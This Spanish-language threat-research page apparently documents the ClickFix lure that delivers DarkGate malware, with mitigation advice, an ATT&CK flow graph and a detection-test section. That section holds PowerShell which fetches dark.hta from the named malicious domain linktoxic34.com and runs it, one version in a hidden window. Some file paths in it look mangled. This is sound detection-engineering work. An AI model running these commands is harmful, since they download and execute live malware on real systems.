SOC Prime Bias: Medium

16 Dic 2025 21:08

Estudio de Caso de ClickFix: Malware DarkGate

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Estudio de Caso de ClickFix: Malware DarkGate
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El informe describe un método de ingeniería social denominado ClickFix que persuade a los usuarios para que copien y ejecuten un comando de PowerShell, que luego descarga un archivo HTA malicioso. Este archivo HTA a su vez descarga componentes adicionales, incluyendo un script de AutoIt que crea directorios, deja caer archivos y establece comunicaciones C2. La actividad se atribuye a la campaña DarkGate y se basa en la ofuscación base64 más la manipulación del portapapeles para evitar una detección directa.

Investigación

Los analistas desentrañaron varias capas de contenido codificado en base64, incrustado en una página de advertencia de extensión de navegador falsa y recuperaron el comando de PowerShell responsable de obtener dark.hta desde linktoxic34.com. Cuando se ejecuta, el HTA despliega un ejecutable de AutoIt (fckhffh.a3x) que ejecuta una rutina DES y lanza más cargas útiles. La telemetría de red capturada muestra tráfico HTTP(S) hacia el dominio malicioso, seguido de la ejecución encadenada de scripts de PowerShell.

Mitigación

Las defensas recomendadas incluyen la capacitación de los usuarios para desalentar la copia de fragmentos de código desconocidos, deshabilitar el cuadro de diálogo Ejecutar de Windows a través de la Política de Grupo y desplegar soluciones antivirus basadas en comportamiento. Bloquear proactivamente el dominio malicioso y monitorear ejecuciones anómalas de PowerShell puede reducir significativamente el riesgo de infección de DarkGate.

Respuesta

Si se identifica un evento relacionado con ClickFix, aísle el endpoint afectado, detenga todos los procesos maliciosos, elimine los archivos HTA y AutoIt, y realice un análisis forense en cualquier carpeta creada durante la intrusión. Actualice la lógica de detección para señalar patrones de ejecución sospechosos de PowerShell y HTA y asegúrese de que el dominio asociado esté bloqueado en todo el entorno.

«graph TB %% Class Definitions classDef asset fill:#f0e68c classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#e6e6fa classDef process fill:#ffdddd %% Nodes webpage_malicious[«<b>Activo</b> – Página web maliciosa<br/>Incorpora PowerShell codificado en base64 y ofuscación de cadena invertida»] class webpage_malicious asset tech_html_smuggling[«<b>Técnica</b> – <b>T1027.006</b> Archivos o Información Ofuscados: Contrabando HTML<br/>PowerShell en base64 escondido en HTML/JavaScript»] class tech_html_smuggling technique tech_stripped_payloads[«<b>Técnica</b> – <b>T1027.008</b> Archivos o Información Ofuscados: Cargas Eliminadas<br/>Cadenas base64 anidadas ocultan PowerShell»] class tech_stripped_payloads technique action_user_click[«<b>Acción</b> – <b>T1204.001</b> Ejecución del Usuario: Enlace Malicioso<br/>La víctima hace clic en el botón u201cCómo arreglaru201d»] class action_user_click action tech_clipboard_data[«<b>Técnica</b> – <b>T1115</b> Datos del Portapapeles<br/>El script copia el comando PowerShell al portapapeles»] class tech_clipboard_data technique action_copy_paste[«<b>Acción</b> – <b>T1204.004</b> Ejecución del Usuario: Copia y Pega Maliciosos<br/>El usuario pega el comando vía Win+R y Ctrl+V»] class action_copy_paste action tech_powershell[«<b>Técnica</b> – <b>T1059.001</b> Intérprete de Comandos y Scripts: PowerShell<br/>Ejecuta el comando descargado»] class tech_powershell technique process_powershell[«<b>Proceso</b> – PowerShell»] class process_powershell process tech_web_protocol[«<b>Técnica</b> – <b>T1071.001</b> Protocolo de Capa de Aplicación: Protocolos Web<br/>Descarga HTA a través de HTTP(S)»] class tech_web_protocol technique file_dark_hta[«<b>Archivo</b> – dark.hta<br/>Carga HTA descargada de linktoxic34.com»] class file_dark_hta file tech_mshta[«<b>Técnica</b> – <b>T1218.005</b> Ejecución de Proxy de Binario del Sistema: Mshta<br/>Ejecuta HTA a través de mshta.exe»] class tech_mshta technique process_mshta[«<b>Proceso</b> – mshta.exe»] class process_mshta process tech_lateral_transfer[«<b>Técnica</b> – <b>T1570</b> Transferencia Lateral de Herramientas<br/>HTA deja archivo ZIP con binarios adicionales»] class tech_lateral_transfer technique file_payload_zip[«<b>Archivo</b> – payload.zip<br/>Contiene script AutoIt y binarios»] class file_payload_zip file tech_masquerading[«<b>Técnica</b> – <b>T1036</b> Suplantación<br/>HTA presentado como una utilidad de reparación legítima»] class tech_masquerading technique tech_rtl_override[«<b>Técnica</b> – <b>T1036.002</b> Suplantación: Anulación de Derecho a Izquierda<br/>Codificación de cadena invertida para evadir detección»] class tech_rtl_override technique tool_darkgate[«<b>Herramienta</b> – DarkGate RAT<br/>Proporciona acceso remoto persistente»] class tool_darkgate tool tech_remote_access[«<b>Técnica</b> – <b>T1219</b> Herramientas de Acceso Remoto<br/>Establece comunicaciones C2»] class tech_remote_access technique %% Connections webpage_malicious u002du002d>|utiliza| tech_html_smuggling webpage_malicious u002du002d>|utiliza| tech_stripped_payloads webpage_malicious u002du002d>|desencadena| action_user_click action_user_click u002du002d>|conduce_a| tech_clipboard_data tech_clipboard_data u002du002d>|habilita| action_copy_paste action_copy_paste u002du002d>|ejecuta| tech_powershell tech_powershell u002du002d>|ejecuta| process_powershell process_powershell u002du002d>|descarga| tech_web_protocol tech_web_protocol u002du002d>|recupera| file_dark_hta file_dark_hta u002du002d>|ejecutado_por| tech_mshta tech_mshta u002du002d>|ejecuta| process_mshta process_mshta u002du002d>|deposita| tech_lateral_transfer tech_lateral_transfer u002du002d>|crea| file_payload_zip file_dark_hta u002du002d>|se_hace_pasar_por| tech_masquerading file_dark_hta u002du002d>|ofusca_con| tech_rtl_override file_payload_zip u002du002d>|contiene| tool_darkgate tool_darkgate u002du002d>|utiliza| tech_remote_access «

Flujo de Ataque

Ejecución de Simulación

Requisito previo: La verificación previa de Telemetría & Baseline debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:
    Un atacante que ha ganado acceso de bajo privilegio en un host de Windows comprometido desea descargar una carga útil HTA maliciosa utilizada en la campaña ClickFix. Para permanecer sigiloso, el atacante aprovecha PowerShell—una herramienta nativa de Windows—para que no se introduzcan binarios externos. El comando se ejecuta directamente en la consola (o a través de una tarea programada) e incluye la URL exacta que la regla vigila. La descarga se almacena en el %TEMP% del usuario y luego se ejecuta a través de Start-Process.

    $url = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta"
    $out = "$env:TEMPdark.hta"
    Invoke-WebRequest -Uri $url -OutFile $out
    Start-Process -FilePath $out
  • Script de prueba de regresión: (autónomo, reproduce los pasos anteriores)

    # Simulación de descarga HTA de ClickFix – activa la regla Sigma
    $maliciousUrl = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta"
    $destPath = "$env:TEMPdark.hta"
    
    try {
        Write-Host "[*] Descargando carga útil HTA maliciosa..."
        Invoke-WebRequest -Uri $maliciousUrl -OutFile $destPath -UseBasicParsing
        Write-Host "[+] Descarga completada. Ejecutando carga útil..."
        Start-Process -FilePath $destPath -WindowStyle Hidden
    } catch {
        Write-Error "Descarga o ejecución fallida: $_"
    }
  • Comandos de limpieza: (elimina el HTA descargado y cualquier instancia en ejecución)

    # Eliminar el archivo HTA y terminar cualquier proceso persistente
    $htaPath = "$env:TEMPdark.hta"
    if (Test-Path $htaPath) {
        Remove-Item $htaPath -Force
        Write-Host "[*] Archivo HTA eliminado."
    }
    # Terminar cualquier proceso que pueda haber sido lanzado desde el HTA (ejemplo genérico)
    Get-Process | Where-Object {$_.Path -like "*dark.hta*"} | Stop-Process -Force